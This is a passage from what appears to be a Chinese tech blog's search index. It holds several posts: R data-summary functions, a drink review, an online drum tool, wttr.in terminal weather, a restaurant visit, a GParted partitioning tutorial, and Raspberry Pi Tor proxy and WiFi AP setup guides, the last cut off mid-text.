TransectName: Factor w/ 58 levels \"A_22_02\",\"A_22_58\",..: 2 3 4 5 6 7 1 9 10 11 ... $ Samples : int 1 2 3 4 5 6 7 8 9 10 ... $ Transect : int 1 1 1 1 1 1 1 2 2 2 ... $ Time : int 1958 1962 1967 1974 1981 1994 2002 1958 1962 1967 ... $ R : int 8 6 8 8 10 7 6 5 8 6 ... $ ROCK : num 27 26 30 18 23 26 39 25 24 21 ... $ LITTER : num 30 20 24 35 22 26 19 26 24 16 ... [略] 假設我們想要看看不同的 Veg$Transect 是否會對 Veg$R 造成影響，最直接的方式就是依照 Veg$Transect 的值來區分群組，計算每一個群組的 Veg$R 平均值：\nm \u0026lt;- mean(Veg$R) m1 \u0026lt;- mean(Veg$R[Veg$Transect == 1]) m2 \u0026lt;- mean(Veg$R[Veg$Transect == 2]) m3 \u0026lt;- mean(Veg$R[Veg$Transect == 3]) m4 \u0026lt;- mean(Veg$R[Veg$Transect == 4]) m5 \u0026lt;- mean(Veg$R[Veg$Transect == 5]) m6 \u0026lt;- mean(Veg$R[Veg$Transect == 6]) m7 \u0026lt;- mean(Veg$R[Veg$Transect == 7]) m8 \u0026lt;- mean(Veg$R[Veg$Transect == 8]) c(m, m1, m2, m3, m4, m5, m6, m7, m8) 輸出為\n[1] 9.965517 7.571429 6.142857 10.375000 [5] 9.250000 12.375000 11.500000 10.500000 [9] 11.833333 這裡的 m 是所有 Veg$R 的平均值（不分群組），而 m1 到 m8 則是依照每一個 Veg$Transect 數值分群所計算的 Veg$R 平均值，很顯然這樣手動計算每一個群組平均值的方式並不是一個很聰明的作法，這時候可以使用 R 的 tapply 函數，它可以達到同樣的功能，但是只需要一行指令：\ntapply(Veg$R, Veg$Transect, mean) 輸出為\n1 2 3 4 7.571429 6.142857 10.375000 9.250000 5 6 7 8 12.375000 11.500000 10.500000 11.833333 若以具名參數的方式執行，看起來會更清楚：\ntapply(X = Veg$R, INDEX = Veg$Transect, FUN = mean) tapply 函數會以 INDEX 變數為依據，將 X 變數先分成數個群組，再將每一個群組的資料套用 FUN 函數做運算，以下是套用各種不同函數的範例：\nMe \u0026lt;- tapply(Veg$R, Veg$Transect, mean) Sd \u0026lt;- tapply(Veg$R, Veg$Transect, sd) Le \u0026lt;- tapply(Veg$R, Veg$Transect, length) cbind(Me, Sd, Le) 輸出為：\nMe Sd Le 1 7.571429 1.3972763 7 2 6.142857 0.8997354 7 3 10.375000 3.5831949 8 4 9.250000 2.3145502 8 5 12.375000 2.1339099 8 6 11.500000 2.2677868 8 7 10.500000 3.1464265 6 8 11.833333 2.7141604 6 這個輸出列出了各個群組的 Veg$R 平均值、標準差以及樣本數。\nFUN 可以指定為各種 R 的內建函數，甚至也可以使用自己訂的函數。\nsapply 與 lapply 函數 在計算變數的平均值、變異數、最小值、最大值與樣本數等數值的時候，我們還是會需要執行類似 mean(Veg$R)、sd(Veg$R)、min(Veg$R)、max(Veg$R) 與 length(Veg$R) 這些指令，但是如果一次要對多個變數計算這些數值的時候（例如計算所有變數的平均值），我們可以使用 sapply 函數：\nsapply(Veg[, 5:9], FUN = mean) R ROCK LITTER ML 9.965517 20.991379 22.853448 1.086207 BARESOIL 17.594828 另外還有一個 lapply 函數，功能跟 sapply 類似，不過輸出的格式有些不同：\nlapply(Veg[, 5:9], FUN = mean) 輸出為\n$R [1] 9.965517 $ROCK [1] 20.99138 $LITTER [1] 22.85345 $ML [1] 1.086207 $BARESOIL [1] 17.59483 lapply 的輸出是一個 list，而 sapply 的輸出則是一個向量，兩者在功能上沒有差別，只是輸出格式不同而已。\ntapply 在套用 FUN 函數計算時，會使用區分群組之後的資料來計算，而 lapply 與 sapply 則是使用全部的資料做計算。\nlapply 與 sapply 所指定的 X 參數必須要是一個 data frame，如果要處理多個向量變數，可以使用 data.frame 函數建立一個 data frame：\nsapply(data.frame(cbind(Veg$R, Veg$ROCK, Veg$LITTER, Veg$ML, Veg$BARESOIL)), FUN = mean) 輸出為\nX1 X2 X3 X4 9.965517 20.991379 22.853448 1.086207 X5 17.594828 Exercise 1\ntemperature.xls 包含了 1990 年到 2005 年荷蘭海岸線上 30 個觀測點的氣溫觀測資料，請計算：\n每一個觀測點（Station）每個月（Month）的氣溫觀測值平均數。（計算結果應為 30 × 12 的表格） 每一個觀測點每個月的氣溫觀測值標準差以及樣本數。 summary 函數 summary 是一個可以顯示變數基本資訊的函數，它可以接受一個普通的向量變數、cbind 的輸出或是 data frame：\nZ \u0026lt;-cbind(Veg$R, Veg$ROCK, Veg$LITTER) colnames(Z) \u0026lt;- c(\u0026#34;R\u0026#34;, \u0026#34;ROCK\u0026#34;, \u0026#34;LITTER\u0026#34;) summary(Z) 輸出為\nR ROCK Min. : 5.000 Min. : 0.00 1st Qu.: 8.000 1st Qu.: 7.25 Median :10.000 Median :18.50 Mean : 9.966 Mean :20.99 3rd Qu.:12.000 3rd Qu.:27.00 Max. :18.000 Max. :59.00 LITTER Min. : 5.00 1st Qu.:17.00 Median :23.00 Mean :22.85 3rd Qu.:28.75 Max. :51.00 summary 會計算最小值、第一四分位數（first quartile）、中位數（median）、平均數（mean）、第三四分位數（third quartile）與最大值。我們也可以用比較簡短的指令達到同樣的效果：\nsummary(Veg[ , c(\u0026#34;R\u0026#34;,\u0026#34;ROCK\u0026#34;,\u0026#34;LITTER\u0026#34;)]) summary(Veg[ , c(5, 6, 7)]) table 函數 table 函數可以產生列聯表（contingency table），幫助我們了解整個資料的狀況。\n我們以 Deer.txt 的資料來做說明，這個資料是從不同的時間與地點所採集到的動物資料，這樣研究的其中一項目的是找出動物長度與 E. cervi 寄生蟲的關係。首先將資料讀入，並做一些基本檢查：\nDeer \u0026lt;- read.table(file = \u0026#34;Deer.txt\u0026#34;, header = TRUE) names (Deer) [1] \"Farm\" \"Month\" \"Year\" \"Sex\" [5] \"clas1_4\" \"LCT\" \"KFI\" \"Ecervi\" [9] \"Tb\" str(Deer) 'data.frame':\t1182 obs. of 9 variables: $ Farm : Factor w/ 27 levels \"AL\",\"AU\",\"BA\",..: 1 1 1 1 1 1 1 1 1 1 ... $ Month : int 10 10 10 10 10 10 10 10 10 10 ... $ Year : int 0 0 0 0 0 0 0 0 0 0 ... $ Sex : int 1 1 1 1 1 1 1 1 1 1 ... $ clas1_4: int 4 4 3 4 4 4 4 4 4 4 ... $ LCT : num 191 180 192 196 204 190 196 200 197 208 ... $ KFI : num 20.4 16.4 15.9 17.3 NA ... $ Ecervi : num 0 0 2.38 0 0 0 1.21 0 0.8 0 ... $ Tb : int 0 0 0 0 NA 0 NA 1 0 0 ... 動物長度與 E. cervi 寄生蟲的關係有可能會跟動物的性別、採樣時間等變數都有關係，但如果某些時間或是地點根本沒有足夠的樣本，會造成分析上的問題，所以我們可以先使用 table 來產生列聯表，確認一下每一個分組的樣本數，例如查看每一個農場的樣本數：\ntable(Deer$Farm) 輸出為\nAL AU BA BE CB CRC HB 15 37 98 19 93 16 35 LCV LN MAN MB MO NC NV 2 34 76 41 278 32 35 PA PN QM R\\xd1 RF RO SAL 11 45 75 25 34 44 1 SAU SE TI TN VISO VY 3 26 21 31 15 40 從輸出中我們可以看到，MO 這個農場有 278 個樣本，而 SAL 卻只有 1 個樣本，在這樣的狀況下，如果要使用 Deer$Farm 做分析的話，可能可以考慮使用 mixed effects model（Zuur et al., 2009）。\ntable 也可以產生兩個變數的列聯表，例如：\ntable(Deer$Sex, Deer$Year) 輸出為\n0 1 2 3 4 5 99 1 115 85 154 75 78 34 21 2 76 40 197 123 60 35 0 這裡可以看出來 99 年的樣本中，有一個性別完全沒有資料，這樣的狀況很容易在進行分析的時候產生錯誤，建議在分析這類資料之前，都先以 table 做一下確認。\nExercise 2\n繼續使用 Exercise 1 的資料，進行下列分析：\n以 table 檢查每個觀測點的樣本數。 以 table 檢查每年所採集到的樣本數。 建立一個觀測點與年份的列聯表，看看每年中各觀測點的樣本數。 下面這張表是本篇所介紹過的 R 函數總覽。\n函數 說明 範例 tapply 將 FUN 函數依據 x 分組後，套用在 y。 tapply (y, x, FUN = mean) sapply 將 FUN 函數套用至 y 的每一個變數。 sapply (y, FUN = mean) lapply 將 FUN 函數套用至 y 的每一個變數。 lapply (y, FUN = mean) sd 計算標準差。 sd (y) length 計算向量長度。 length (y) summary 顯示變數基本資訊。 summary (y) table 產生列聯表。 table (x, y) ","permalink":"https://blog.gtwang.org/r/r-basic-functions/","summary":"\u003cp\u003e這裡介紹 R 的一些常用函數，以及如何使用這些函數對資料進行基本的分析工作。\u003c/p\u003e\n\u003cp\u003eR 中有一些函數可以讓我們在處理資料時更快速、更方便，雖然這些不是分析資料必要的函數，不過在某些情況下運用這些函數可以讓整個資料的分析流程更順暢。\u003c/p\u003e","title":"R 基本函數"},{"content":"最近從青荷有機的網站上買了米森有機芝麻擂茶拿鐵，感覺真的很好喝，分大家分享一下。\n我個人早餐喜歡泡一些沖泡式的熱飲來喝，但是外面市售的沖泡飲品都比較甜，喝久了會感覺有點膩，另外也不見得非常健康，最近發現青荷有機這個專門販售有機產品的購物網站，上面常常有很多特價優惠，看起來很吸引人，就買來嘗試看看，結果發現他的產品真的很不錯，以下是我這次買的「米森有機芝麻擂茶拿鐵」。\n這個有機芝麻擂茶拿鐵通過慈心有機認證，是 100% 有機的產品，裡面含有九種有機原料，使用紐西蘭的有機奶粉（完全無奶精）、安第斯山有機芝麻、日本京都有機抹茶粉、有機燕麥、有機蕎麥、有機糙米與有機黑豆等多種穀物，佐以有機黑糖調味，喝起來非常健康。\n一盒裡面有八包。\n一包是 30 公克，可以泡 200 毫升的有機芝麻擂茶拿鐵。\n這是有機芝麻擂茶拿鐵倒出來的樣子。\n加入熱水沖開（或是搭配牛奶或豆漿也可以），有機的穀物加入熱水沖開之後，聞起來非常香，不是一般市售沖泡飲品可以比擬的，加上它用的是紐西蘭的有機奶粉，喝起來很香醇，可以明顯感覺出有牛奶的香氣，而它的有機黑糖微甜不膩，我是感覺天天喝也很不錯。\n如果您喜歡喝這類的熱飲，又怕一般市售的產品不太健康的話，可以試試看這樣的有機飲品。\n以下是從青荷有機官方網站截取的米森有機芝麻擂茶拿鐵介紹，大家可以參考看看。\n","permalink":"https://blog.gtwang.org/life/vilson-hakka-organic-sesame-lei-cha-latte/","summary":"\u003cp\u003e最近從青荷有機的網站上買了米森有機芝麻擂茶拿鐵，感覺真的很好喝，分大家分享一下。\u003c/p\u003e\n\u003cp\u003e我個人早餐喜歡泡一些沖泡式的熱飲來喝，但是外面市售的沖泡飲品都比較甜，喝久了會感覺有點膩，另外也不見得非常健康，最近發現青荷有機這個專門販售有機產品的購物網站，上面常常有很多特價優惠，看起來很吸引人，就買來嘗試看看，結果發現他的產品真的很不錯，以下是我這次買的「米森有機芝麻擂茶拿鐵」。\u003c/p\u003e","title":"[開箱] 米森有機芝麻擂茶拿鐵，健康的早餐沖泡飲品"},{"content":"Splice Beat Maker 是一個可以自己創作爵士鼓音樂的線上工具，可以結合各種的打擊樂器，設計自己喜歡的節奏。\nSplice 最近提供了一個網頁版的爵士鼓音樂創作工具，從 Splice 聲音檔資料庫中取出爵士鼓樂相關的聲音檔，讓使用者嘗試使用這些聲音檔組合成為高品質的爵士鼓樂。\n名稱：Splice Beat Maker\n網址：https://splice.com/sounds/beatmaker\nBeat Maker 以重複循環節奏的設計方式，讓使用者自己編輯各循環中的每個時間點該敲擊那一些樂器，縱使沒有任何音樂背景的人，也可以輕鬆使用，這個創作工具中總共有八個音軌，分別對應不同種類的打擊樂器，使用者可以從大約 850,000 個聲音檔中取出喜歡的樂器聲音，放在八個音軌中結合起來，變成一首爵士鼓樂。\n線上使用 Beat Maker 創作音樂或是聆聽別人的作品，是不需要註冊帳號的，但如果想要儲存或是下載自己創作的爵士鼓音樂，就要先註冊一個帳號了。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/funny/splice-beat-maker-online-drum-kit/","summary":"\u003cp\u003eSplice Beat Maker 是一個可以自己創作爵士鼓音樂的線上工具，可以結合各種的打擊樂器，設計自己喜歡的節奏。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://splice.com/\"\u003eSplice\u003c/a\u003e 最近提供了一個網頁版的爵士鼓音樂創作工具，從 \u003ca href=\"https://splice.com/sounds/catalog\"\u003eSplice 聲音檔資料庫\u003c/a\u003e中取出爵士鼓樂相關的聲音檔，讓使用者嘗試使用這些聲音檔組合成為高品質的爵士鼓樂。\u003c/p\u003e","title":"Beat Maker：自己創作爵士鼓音樂的線上工具，設計節奏打擊鼓樂"},{"content":"Wttr.in 是一個文字介面的天氣預報服務網站，它可以讓我們在 Linux 的終端機中顯示 ASCII Art 的天氣預報圖。\n如果您是 Linux 的愛好者，可能會對 Wttr.in 這個氣象預報小工具有興趣，普通的氣象預報都是透過網頁的形式呈現，而這個 Wttr.in 服務則是可以讓我們在文字介面的終端機中顯示 ASCII Art 的天氣預報圖，如果在 console 中工作時想要看一下天氣預報，就可以只用這個小工具。\n這是 Wttr.in 的網頁，裡面是文字版本的氣象預報，預報的容包含天氣狀況、氣溫、風速、風向、能見度、降雨量與降雨機率。\nWttr.in 的使用方式是將城市的名稱直接放在網址上，例如若要查詢台北的天氣預報，就輸入這樣的網址：\nhttp://wttr.in/Taipei 在終端機中我們可以使用 curl 來取得文字板的氣象預報：\ncurl -4 http://wttr.in/Taipei 這是輸出的畫面：\n另外也可以使用 wget：\nwget -O - http://wttr.in/Taipei 2\u0026amp;gt;/dev/null Wttr.in 事實上是 wego 的一個線上版本，wego 是一個開放原始碼的小工具，可以直接安裝在自己的電腦中使用，如果有興趣的人可以從它的 GitHub 往站上下載安裝。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/linux/wttr-in-text-weather-forecast-for-geek/","summary":"\u003cp\u003eWttr.in 是一個文字介面的天氣預報服務網站，它可以讓我們在 Linux 的終端機中顯示 ASCII Art 的天氣預報圖。\u003c/p\u003e\n\u003cp\u003e如果您是 Linux 的愛好者，可能會對 \u003ca href=\"https://wttr.in/\"\u003eWttr.in\u003c/a\u003e 這個氣象預報小工具有興趣，普通的氣象預報都是透過網頁的形式呈現，而這個 Wttr.in 服務則是可以讓我們在文字介面的終端機中顯示 ASCII Art 的天氣預報圖，如果在 console 中工作時想要看一下天氣預報，就可以只用這個小工具。\u003c/p\u003e","title":"Wttr.in 文字介面的天氣預報，Geek 專用氣象預報工具"},{"content":"清太健康素食是大甲鎮瀾宮媽祖廟附近的一家素食自助餐，菜色豐富可口，用餐環境乾淨衛生，個人非常推薦。\n我們今天去大甲鎮瀾宮媽祖廟拜拜，中午需要找一間素食餐廳用餐，跟當地的攤販打聽之後，推薦我們這一家素食的自助餐。\n它的位置就在大甲火車站附近，從鎮瀾宮走路過去不用五分鐘（大約 500 公尺）。\n這是清太健康素食的大門口，門口有很明顯的大招牌。\n店內的環境相當乾淨，一進去就讓人感覺很舒服。\n這是菜餚區，因為我們今天到這裡的時候已經接近中午一點了，所以照片上的菜餚稍微少一些，不過還是有滿多可以選擇的。\n這是結帳的櫃台，菜餚是依照重量算錢的。\n這是我們今天所夾的菜，一碗糙米飯與兩碗白飯。\n用餐區的桌子還滿大張的，坐在這裡吃飯感覺就是很舒服。\n後方還有兩張圓桌，應該是辦合菜用的，平常沒有人的時候似乎也可以坐在這裡用餐。\n店內的牆壁上有許多很漂亮的匾額，還有供奉一尊阿彌陀佛。\n這一尊阿彌陀佛真的很莊嚴。\n這是清太健康素食名片，它除了自助餐與便當之外，還有做外燴宴席與合菜。\n這是名片背面的地圖。\n店名：清太健康素食\n地址：台中市大甲區中山路一段 848 號之 1\n今天因為是臨時來這裡用餐，所以身上只有手機可以照相，照片沒有拍的很好，現場的擺設與環境真的是讓人感覺很舒服，我個人很喜歡這家素食店，也推薦大家可以來這裡用餐。\n以下是我跟阿玄的照片，有興趣的人可以看看。\n這是用另外一台手機照的，所以照片色澤不太一樣。\n阿玄很有趣的表情。\n以下是在大甲鎮瀾宮媽祖廟門口拍的照片。\n我們去的時候剛好是元宵節前兩天，鎮瀾宮門口有一些花燈。\n許多人都會在這裡照相。\n今天剛好是寒流第一天，天氣剛開始要轉冷，阿玄穿的很多。\n今天來拜拜也順便求一個媽祖的平安符給阿玄帶著。\n","permalink":"https://blog.gtwang.org/life/qingtai-vegetarian-restaurant-dajia-taichung/","summary":"\u003cp\u003e清太健康素食是大甲鎮瀾宮媽祖廟附近的一家素食自助餐，菜色豐富可口，用餐環境乾淨衛生，個人非常推薦。\u003c/p\u003e\n\u003cp\u003e我們今天去大甲鎮瀾宮媽祖廟拜拜，中午需要找一間素食餐廳用餐，跟當地的攤販打聽之後，推薦我們這一家素食的自助餐。\u003c/p\u003e","title":"[大甲素食] 清太健康素食：自助餐、便當，近鎮瀾宮媽祖廟、火車站"},{"content":"GParted 是一套開放原始碼的免費磁碟分割工具，可用來管理 Windows 與 Linux 等各種系統的磁碟分割區。\nGParted（GNOME Partition Editor）從名稱上就可以看得出來它就是 Parted 磁碟分割區工具 的一個視窗介面版本，同時也是 GNOME 官方所選定的磁碟分割區工具，其功能跟指令式的 Parted 差不多，不過操作上會比 Parted 更方便，以下是 GParted 的使用教學。\n安裝 GParted 在 Debian 系列的 Linux（如 Ubuntu、Linux Mint）中可用 apt 安裝：\napt-get install gparted Red Hat 系列的 Linux 可用 yum 安裝：\nsudo yum install gparted OpenSUSE 的話可用 zypper 安裝：\nsudo zypper install gparted 如果需要處理 ext2、ext3 或 ext4 的檔案系統，還要同時安裝 e2fsprogs 這個檔案系統工具套件（不過這個應該通常也都會自動安裝）。\n新增磁碟分割區 Step 1\n安裝好 GParted 之後，Linux 桌面的主選單中應該就會有 GParted 的啟動圖示，其全名為 GNOME Partition Editor。\nStep 2\n由於 GParted 這個工具是用來管理磁碟分割區的，啟動的時候會需要取得 root 管理者的權限。\nStep 3\n這是 GParted 的視窗介面，右上方的選單可以選擇硬碟，中間主要的部份是該顆硬碟目前的磁碟配置與空間使用狀況。\n這個視窗介面的設計很直覺，我們可以一眼就看出整個硬碟的狀況。\nStep 4\n接著我們示範新增磁碟分割區，首先從右上方的硬碟選單中，選擇要新增分割區的硬碟。\n這裡我們選擇 /dev/sdb 這一顆 10GB 的硬碟作為示範。\nStep 5\n在未配置的空間上點選滑鼠右鍵，從選單中選擇「New」新增磁碟分割區。\nStep 6\n設定新磁碟分割區的大小，我們可以在下方輸入分割區的大小，或是直接用滑鼠拖曳的的方式調整，另外記得調整分割區的檔案格式（File system）等設定。\nStep 7\n分割區的設定完成後，畫面會像這樣，請注意這時候 GParted 還沒有實際進行磁碟的分割，它只是將要進行的工作放進下方的佇列中，等待所有的工作都確定了之後才會一起執行，GParted 這樣的設計可以降低新手不小心設定錯誤而造成硬碟資料損毀的風險。\nStep 8\n建立好所有的分割區，確認無誤之後，接著按下工具列的「Apply All Operations」（也就是那個綠色勾勾），套用所有操作。\nStep 9\n實際進行變更之前會有警告訊息，若確認無誤即可按下「Apply」進行所有佇列中的操作。\nStep 10\n在進行磁碟分割區的變更時會顯示這個進度視窗，等待所有的操作完成後，按下「Close」關閉這個進度視窗。\nStep 11\n這樣新增磁碟分割區的動作就完成了。\n移動與變更磁碟分割區 GParted 也可以改變磁碟分割區的大小與位置，最常見的狀況就是一個磁碟分割區一開始配置的不夠大，當資料越來越多時，就需要把舊的分割區調大一些（當然前提是硬碟上還有其他可用的空間）。\n以下是移動或變更磁碟分割區的步驟。\nStep 1\n選擇要進行調整的磁碟分割區，從右鍵選單中選擇「Resize/Move」。\nStep 2\n輸入分割區的大小與位置，也可以使用滑鼠來拖曳調整，這裡我們可以使用這個介面進行磁碟分割區的擴增、縮減或是移動。\n如果您想要增加分割區的大小，但是周圍已經沒有任何空間了，這時候就要先把鄰近的分割區刪除或是調整一下，騰出一些空間給這個分割區使用，才能進行擴增分割區的動作。\n如果要移動分割區，可以使用滑鼠直接拖曳，快速又方便。\n設定調整完成之後，點選「Resize/Move」。\nStep 3\n如果有進行分割區移動的動作，就會出現這樣的警告訊息，這個訊息主要是告訴使用者如果移動開機的分割區，可能會造成無法開機的狀況，要修復這樣的問題可以參考 GParted 的 FAQ。如果移動的磁碟分割區只是存放資料用的，沒有安裝任何系統，就不需要理會這個問題。ˊ\nStep 4\n磁碟分割區的變更動作同樣會放進下方的佇列中，待確認無誤後才會進行。\n接著按下工具列的「Apply All Operations」。\nStep 5\n按下「Apply」進行所有佇列中的操作。\nStep 6\n等待所有的操作完成。\nStep 7\n這是完成磁碟分割區變更後的狀況。\nGParted Live CD/USB GParted 除了安裝在一般的 Linux 系統上之外，它也有官方提供的 Live CD/USB，可以方便系統管理者隨時隨地使用。\nGParted 的官方網站所提供的 iso 檔，下載下來之後可以燒錄成可開機的 Live CD 或是製作成 Live USB 隨身碟，以下我示範 Live USB 隨身碟的製作與使用方式。\nStep 1\nLive USB 的製作方式有很多，除了 GParted 官方的建議之外，Windows 的使用者可以使用 Pen Drive Linux’s USB Installer，Mac OS X 的話可以使用 Mac OS X 本身的磁碟工具來製作 Live USB，而在 Linux 中則可以使用內建的 USB 映像檔寫入程式來製作。\nStep 2\n選擇來源映像檔與目的 USB 隨身碟，然後點選「寫入」。\nStep 3\n等待映像檔寫入過程。\nStep 4\n映像檔寫入成功。\nStep 5\n將製作好的 GParted Live USB 隨身碟插入電腦中，使用該 USB 隨身碟開機，開機後選擇第一個選項「GParted Live（Default settings）」開機。\nStep 6\n設定 keymap，選擇預設的「Don\u0026rsquo;t touch keymap」。\nStep 7\n選擇語言，預設的語言是英文，這裡也有提供中文的介面，如果想要使用中文的人，可以輸入 30。\nStep 8\n選擇 mode，使用預設值 0 即可。\nStep 9\n進入 X Window 的畫面之後，就會自動打開 GParted，接下來就可以使用 GParted 進行磁碟的管理了。\nGParted 中文介面 GParted 在一般常見的 Linux 發行版中應該都會有中文介面，操作方式都一樣，下面這張圖是中文版的 GParted 畫面。\n雖然中文的介面看起來比較舒服，但是對於伺服器管理者或是網管而言，熟悉英文版的操作還是必要的，畢竟不是每一台伺服器都會有中文介面，萬一臨時遇到沒有中文介面的 Linux 主機，不會使用英文的操作介面就很麻煩了。\n","permalink":"https://blog.gtwang.org/linux/gparted-gnome-partition-editor-and-live-cd-usb/","summary":"\u003cp\u003eGParted 是一套開放原始碼的免費磁碟分割工具，可用來管理 Windows 與 Linux 等各種系統的磁碟分割區。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://gparted.org/\"\u003eGParted\u003c/a\u003e（GNOME Partition Editor）從名稱上就可以看得出來它就是 \u003ca href=\"/linux/parted-command-to-create-resize-rescue-linux-disk-partitions/\"\u003eParted 磁碟分割區工具\u003c/a\u003e 的一個視窗介面版本，同時也是 GNOME 官方所選定的磁碟分割區工具，其功能跟指令式的 Parted 差不多，不過操作上會比 Parted 更方便，以下是 GParted 的使用教學。\u003c/p\u003e","title":"GParted 磁碟分割工具使用教學"},{"content":"這裡介紹如何使用樹莓派架設 Tor 匿名洋蔥網路代理伺服器（Onion Pi Tor Proxy），增強自己電腦的上網安全性。\nTor（The Onion Router，洋蔥路由器）是一個可以讓使用者匿名上網的洋蔥路由實作專案，透過洋蔥網路的匿名主機來上網，可以讓所有的連線與使用者資訊完全隱蔽在這些匿名主機後方，被瀏覽的網站無從得知使用者的來源 IP 或是任何相關的地理資訊，達到匿名上網的效果。\n以下我們介紹如何使用樹莓派架設 Tor 匿名洋蔥網路代理伺服器，讓自己家中的電腦可以透過這個洋蔥網路代理伺服器上網。\n無線網路 WiFi AP 要用樹莓派架設 Tor 匿名洋蔥網路代理伺服器之前，我們要先架設基本的 WiFi AP，架設的步驟請參考樹莓派 Raspberry Pi 設定無線網路 WiFi AP 這篇教學。\n在架設好 WiFi AP 之後，只要再安裝與設定 Tor，並且修改一下 packet forwarding 的設定，就變成一台匿名洋蔥網路代理伺服器了，如果您是有經驗的老手，在安裝與設定 WiFi AP 的時候，可以先跳過 packet forwarding 的設定，直接使用這裡新的 packet forwarding 設定取代，若是不熟悉 Linux 與網路的新手，建議可以分兩階段架設，先成功架設好 WiFi AP 之後，再改成 Tor 匿名洋蔥網路代理伺服器，這樣會比較好除錯。\nTor 安裝與設定 在架設好 WiFi AP 之後，接著安裝 tor 套件：\nsudo apt-get install tor 然後修改 /etc/tor/torrc 設定檔，加入以下設定：\nLog notice file /var/log/tor/notices.log VirtualAddrNetwork 10.192.0.0/10 AutomapHostsSuffixes .onion,.exit AutomapHostsOnResolve 1 TransPort 9040 TransListenAddress 192.168.2.1 DNSPort 53 DNSListenAddress 192.168.2.1 這裡的 TransListenAddress 與 DNSListenAddress 要指定為樹莓派所使用的 IP 位址，如果您所使用的 IP 位址跟這裡的不同，請自行更改，其餘的設定通常是不需要更動。\n設定好之後，就可以重新啟動 tor 服務：\nsudo service tor restart 記得注意一下有沒有錯誤訊息。\nPacket Forwarding Tor 所使用的 packet forwarding 設定與 WiFi AP 不同，這部份是比較關鍵的部份。首先我們先清除所有舊的設定：\nsudo iptables -F sudo iptables -t nat -F 如果您需要透過 SSH 連線到這台樹莓派，可以先執行這一行設定，確保之後可以正常連線：\nsudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j REDIRECT --to-ports 22 設定所有來自於 wlan0 的 DNS 連線（UDP port 53）都導向自己的 53 埠（跟 /etc/tor/torrc 的 DNSListenAddress 設定一致）：\nsudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53 設定所有來自於 wlan0 的 TCP 連線都導向至自己的 9040 埠（跟 /etc/tor/torrc 的 TransListenAddress 設定一致）：\nsudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040 這樣就完成設定了，我們可以檢查一下 iptables 的設定：\nsudo iptables -t nat -L 若沒有問題，可以將 iptables 的設定儲存下來：\nsudo sh -c \u0026#34;iptables-save \u0026amp;gt; /etc/iptables.ipv4.nat\u0026#34; 這個儲存下來的 /etc/iptables.ipv4.nat 可透過 /etc/network/interfaces 的設定，在開機時自動載入，設定方式請參考 樹莓派 Raspberry Pi 設定無線網路 WiFi AP 這篇教學文章。\n使用 Tor 匿名洋蔥網路代理伺服器 架設好 Tor 匿名洋蔥網路代理伺服器之後，使用方式很簡單，只要使用樹莓派的 WiFi AP 的無線網路上網，所有的連線就會自動導向 Tor 洋蔥網路，受到匿名伺服器的保護，以下是測試的結果。\n首先我用一般的 IP 分享器上網，使用 IP Chicken 這個網站來查詢自己的公開 IP 位址：\n若以一般的 IP 分享器上網，對方的網頁伺服器可以直接獲取使用者的來源 IP 位址。\n接下來我改用自己架設的 Tor 匿名洋蔥網路代理伺服器上網，結果就不一樣了：\n使用 Tor 匿名洋蔥網路之後，對方伺服器所獲取的 IP 位址改變了，這樣自己的來源 IP 位址與地理位置就不會輕易被對方得知，有一層基本的防護。\n使用 Tor 匿名網路雖然比較安全，不過也有一些缺點，最明顯的就是由於路由節點變多，上網速度會比較慢一些，另外有些網站為了防堵惡意程式的攻擊，對於使用匿名網路的連線，需要通過類似這樣的驗證才能瀏覽網頁：\n參考資料 Make Make Raspberry Pi Geek adafruit ArchWiki nixCraft Ubuntu Help ","permalink":"https://blog.gtwang.org/iot/raspberry-pi-tor-router-onion-pi-proxy/","summary":"\u003cp\u003e這裡介紹如何使用樹莓派架設 Tor 匿名洋蔥網路代理伺服器（Onion Pi Tor Proxy），增強自己電腦的上網安全性。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.torproject.org/\"\u003eTor\u003c/a\u003e（The Onion Router，洋蔥路由器）是一個可以讓使用者匿名上網的\u003ca href=\"https://zh.wikipedia.org/wiki/%E6%B4%8B%E8%91%B1%E8%B7%AF%E7%94%B1\"\u003e洋蔥路由\u003c/a\u003e實作專案，透過洋蔥網路的匿名主機來上網，可以讓所有的連線與使用者資訊完全隱蔽在這些匿名主機後方，被瀏覽的網站無從得知使用者的來源 IP 或是任何相關的地理資訊，達到匿名上網的效果。\u003c/p\u003e","title":"樹莓派 Raspberry Pi 架設 Tor 匿名洋蔥網路代理伺服器"},{"content":"這裡介紹如何使用樹莓派架設一個無線網路 AP，讓各種無線網路設備透過樹莓派上網。\n樹莓派在插上一張 USB 無線網路卡之後，可以透過無線網路上網，而除了讓樹莓派上網之外，我們也可以使用同樣一張 USB 無線網路卡將樹莓派打造成無線網路基地台（AP，Access Point），當作 IP 分享器使用。\n以下是用樹莓派打造無線 IP 分享器所需要準備的設備：\n樹莓派開發板一張。 支援 AP 模式的 USB 無線網路卡一張，本文使用 TP-LINK TL-WN722N USB 無線網路卡作為示範。 這裡要注意一點，並不是每一張 USB 網路卡都支援 AP 模式，在選擇 USB 網路卡時要先確認一下，有支援 AP 模式的網路卡可以參考 Embedded Linux Wiki。\n以下是整個安裝與設定過程。\n基本 Linux 系統 將樹莓派安裝好基本的 Linux 系統，若是新手建議使用 NOOBS 安裝。\n安裝好 Linux 系統之後，將 USB 無線網路卡插上樹莓派。\n網路設定 這裡我規劃使用樹莓派的有線以太網路（eth0）對外，而 USB 無線網路卡（wlan0）則對內，在開始設定之前請先確認自己的樹莓派基本環境是可以正常上網的（也就是 eth0 要先設定好），接著再調整無線網路卡的網路設定。\n首先關閉無線網路卡 wlan0：\n# 關閉無線網路卡 wlan0 sudo ifdown wlan0 編輯 /etc/network/interfaces 設定檔：\nauto eth0 iface eth0 inet static address 192.168.0.200 network 255.255.255.0 broadcast 192.168.0.255 gateway 192.168.0.1 dns-nameservers 192.168.0.1 168.95.192.1 168.95.1.1 auto wlan0 iface wlan0 inet static address 192.168.2.1 netmask 255.255.255.0 這裡需要更改的是 wlan0 的部份，要選定一個新的虛擬網段，並且指定一個固定的 IP 位址。\n而 eth0 的部份就要看自己的環境是怎麼設定，我這裡的 eth0 